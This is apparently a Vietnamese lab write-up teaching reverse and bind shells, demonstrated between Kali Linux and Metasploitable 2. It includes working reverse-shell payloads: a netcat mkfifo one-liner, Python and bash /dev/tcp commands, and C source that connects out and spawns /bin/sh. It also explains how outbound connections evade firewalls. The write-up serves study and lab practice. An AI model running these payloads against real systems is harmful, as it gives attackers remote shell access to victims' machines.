# Reverse shell and Bind shell ## Mở đầu Trong mọi cuộc tấn công, một trong những bước quan trọng sau khi khai thác thành công là thiết lập một **backdoor** nhằm duy trì quyền truy cập lâu dài. Để đạt được điều này, các kỹ thuật như **reverse shell** và **bind shell** thường được sử dụng để bước đầu xâm nhập vào hệ thống. Việc hiểu rõ bản chất của hai kỹ thuật này sẽ là nền tảng để tiếp cận những phương pháp tấn công và khai thác khác một cách hiệu quả hơn. ## Reverse Shell ### :question: Reverse Shell là gì? * **Reverse Shell** là 1 dạng **remote shell** mà máy `victim` **chủ động kết nối** tới máy `attacker` và mở ra 1 shell của `victim` trên máy `attacker`. * Được dùng khi `attacker` gặp vấn đề với **NAT, firewall** chặn kết nối đến để kết nối trực tiếp máy `victim`. ![image](https://hackmd.io/_uploads/SkKFJLuxll.png) * Các bước thực hiện: ![image](https://hackmd.io/_uploads/HyKOeU_lgg.png) * **Bước 1**: `Attacker` khai thác một lỗ hổng trên máy `victim` để thực thi **payload**. * **Bước 2**: `Attacker` thiết lập lắng nghe (listener) trên một cổng nhất định, chờ đợi kết nối đến từ máy `victim`. * **Bước 3**: Khi payload đó được thực thi tại máy `victim`, sẽ tạo 1 kết nối ngược từ máy `victim` tới `attacker`, cung cấp cho `attacker` 1 shell kiểm soát từ xa trên máy `victim` thông qua giao diện dòng lệnh. ## Bind Shell ### :question: Bind Shell là gì? * **Bind Shell** cũng là 1 dạng **remote shell** như **Reverse Shell**, nhưng khác nhau ở cách thức kết nối. * Kỹ thuật này thường được sử dụng trong quá trình khai thác mạng để đạt được quyền kiểm soát từ xa một cách không được phép. ![image](https://hackmd.io/_uploads/rk1M4Luegx.png) * Các bước thực hiện: * **Bước 1**: `Attacker` khai thác lỗ hổng trên máy `victim` để thực hiện **payload** * **Bước 2**: **Payload** trên máy `victim` thực hiện lắng nghe trên một **port** cụ thể. * **Bước 3**: `Attacker` chủ động kết nối đến **port** đang lắng nghe ở máy `victim` để lấy được **Remote Shell**. * Hmm... Có thể các bạn đến đây cũng đoán được **Bind Shell** giống như khi ta `netcat` tới 1 challenge khi chơi CTF. :rolling_on_the_floor_laughing: ## Tại sao reverse shell được ưu chuộng hơn bind shell? * Lý do là do **reverse shell** có khả năng ~~ẩn mình~~ tốt hơn. Có thể thấy sự khác biệt ở hướng kết nối: * **Bind Shell** yêu cầu máy `victim` phải mở một **port (inbound port)** để lắng nghe kết nối từ `attacker`. Điều này dễ bị firewall chặn hoặc hệ thống giám sát mạng phát hiện, vì các kết nối đến từ bên ngoài thường bị coi là đáng ngờ. * Ngược lại, **Reverse Shell** cho phép máy `victim` chủ động kết nối ra ngoài **(outbound)** đến `attacker`. Việc kết nối **outbound** thường được firewall cho phép vì đó là hành vi bình thường của trình duyệt, ứng dụng,... Điều này giúp **reverse shell** vượt qua tường lửa dễ dàng hơn, khó bị phát hiện, và không yêu cầu quyền mở cổng trên `victim`. Các **outbound ports** phổ biến như: port $80$ (HTTP), port $443$ (HTTPS), port $53$ (DNS),.... * Vi vu tìm hiểu như thế có lẽ là cũng đủ rồi. Vọc vạch thử triển khai **reverse shell** và **bind shell** để cho có được cái nhìn sinh động hơn nào. :laughing: ## Triển khai * Ở đây mình sẽ dùng `Kali linux` làm máy `attacker` còn `victim` là `Metasploitable 2` * IP máy `attacker`: **192.168.238.129** ![Screenshot 2025-05-07 145811](https://hackmd.io/_uploads/rk_6G9Oxel.png) * IP máy `victim`: **192.168.238.130** ![Screenshot 2025-05-07 145936](https://hackmd.io/_uploads/Sy0ZXqdele.png) * Dưới đây mình chỉ trình bày 1 vài cách thức. Ngoài ra mọi người có thể tham khảo thêm ở [Reverse Shell Cheat Sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) nha. ### Netcat * Với **reverse shell**: * Tại máy `attacker` thực hiện lắng nghe trên port $4444$ ![image](https://hackmd.io/_uploads/S1pvOquxxg.png) (`-l` - listen, `-v` - verbose,`-n` - không dùng DNS và `-p` - port $4444$) * Bên máy `victim` chủ động kết nối tới port: ![Screenshot 2025-05-07 151543](https://hackmd.io/_uploads/B1qM_qdelx.png) * Connect thành công thì `attacker` đã có quyền điều khiển shell của `victim` ![image](https://hackmd.io/_uploads/r1iHO5uxee.png) * Còn với **bind shell**: * Tại máy `victim` thực hiện lắng nghe trên port $4444$: ![image](https://hackmd.io/_uploads/SkRejcugee.png) * Tại máy `attacker` thực hiện kết nối: ![image](https://hackmd.io/_uploads/HJYrs9dexx.png) :::success * Option `-e` dùng để cho phép chương trình thực thi ngay khi kết nối được thiết lập. Tuy nhiên các rule của hệ thống, filewall ngày nay thường chặn hoặc giới hạn việc sử dụng này để tránh bị khai thác. * Nếu bị chặn, có thể sử dụng tại máy `victim`: `mkfifo /tmp/p; nc <LHOST> <LPORT> 0</tmp/p | /bin/sh > /tmp/p 2>&1; rm /tmp/p` ::: ### Python * Ngoài `netcat` thì cũng có thể dùng `python` để tạo **reverse shell**. Payload thì có thể lấy ở [Reverse Shell Cheat Sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) nhaaaa. * Ví dụ mình lấy payload là chạy tại máy `victim`: ```py python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' ``` ![image](https://hackmd.io/_uploads/SJN5GsOeeg.png) * Tại máy `attacker`: ![image](https://hackmd.io/_uploads/rJNOzidxgl.png) ### Bash * Tương tự chạy tại máy `victim`: ```py bash -i >& /dev/tcp/192.168.238.129/4444 0>&1 ``` * Nhưng do mình dùng **Metasploitable 2** nên không được, có lẽ do tính năng `/dev/tcp/host/port` đã bị vô hiệu hóa khi biên dịch. ### C * Tạo 1 file `shell.c`: ```python #include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <stdlib.h> #include <unistd.h> #include <netinet/in.h> #include <arpa/inet.h> int main(void){ int port = 4444; struct sockaddr_in revsockaddr; int sockt = socket(AF_INET, SOCK_STREAM, 0); revsockaddr.sin_family = AF_INET; revsockaddr.sin_port = htons(port); revsockaddr.sin_addr.s_addr = inet_addr("192.168.238.130"); connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr)); dup2(sockt, 0); dup2(sockt, 1); dup2(sockt, 2); char * const argv[] = {"/bin/sh", NULL}; execve("/bin/sh", argv, NULL); return 0; } ``` * Chương trình này tạo kết nối TCP từ `victim` đến `attacker`, chuyển toàn bộ luồng nhập/xuất qua socket, rồi chạy `/bin/sh` để `attacker` có thể điều khiển shell từ xa. * Thực hiện biên dịch: ![image](https://hackmd.io/_uploads/B1wWdiuxex.png) * Ở đây để tiện thì mình đổi vai trò 2 máy, `kali` là `victim` còn `metasploitable 2` là `attacker`. ![image](https://hackmd.io/_uploads/ryKe3juxeg.png) * Khi tại `metasploitable 2` lắng nghe ở port $4444$, thì bên `victim` thực thi file `shell` sau khi được biên dịch. Kết quả sau đó thì như trên hình rùi. ## Refs Mình có tìm được các blog hay ho để tham khảo. Mình để ở đây nhaaa. https://viblo.asia/p/hieu-ro-ve-reverse-shells-LzD5ddE45jY https://hackmd.io/@Wh04m1/rJ7IgL8_6#M%E1%BB%9F-%C4%91%E1%BA%A7u https://cocomelonc.github.io/tutorial/2021/09/11/reverse-shells.html [Reverse Shell Cheat Sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) ## Tổng kết Vậy ở wu này mình đã trình bày quá trình tìm hiểu về **Reverse shell** và **Bind shell**. Trong lúc tổng hợp wu có thể có những sai sót, các bạn đọc tham khảo có thể góp ý để wu mình hoàn thiện hơn. Tới đây là kết thúc wu rồi, chúc các bạn 1 ngày tốt lành và mong wu này giúp ích cho các bạn!!!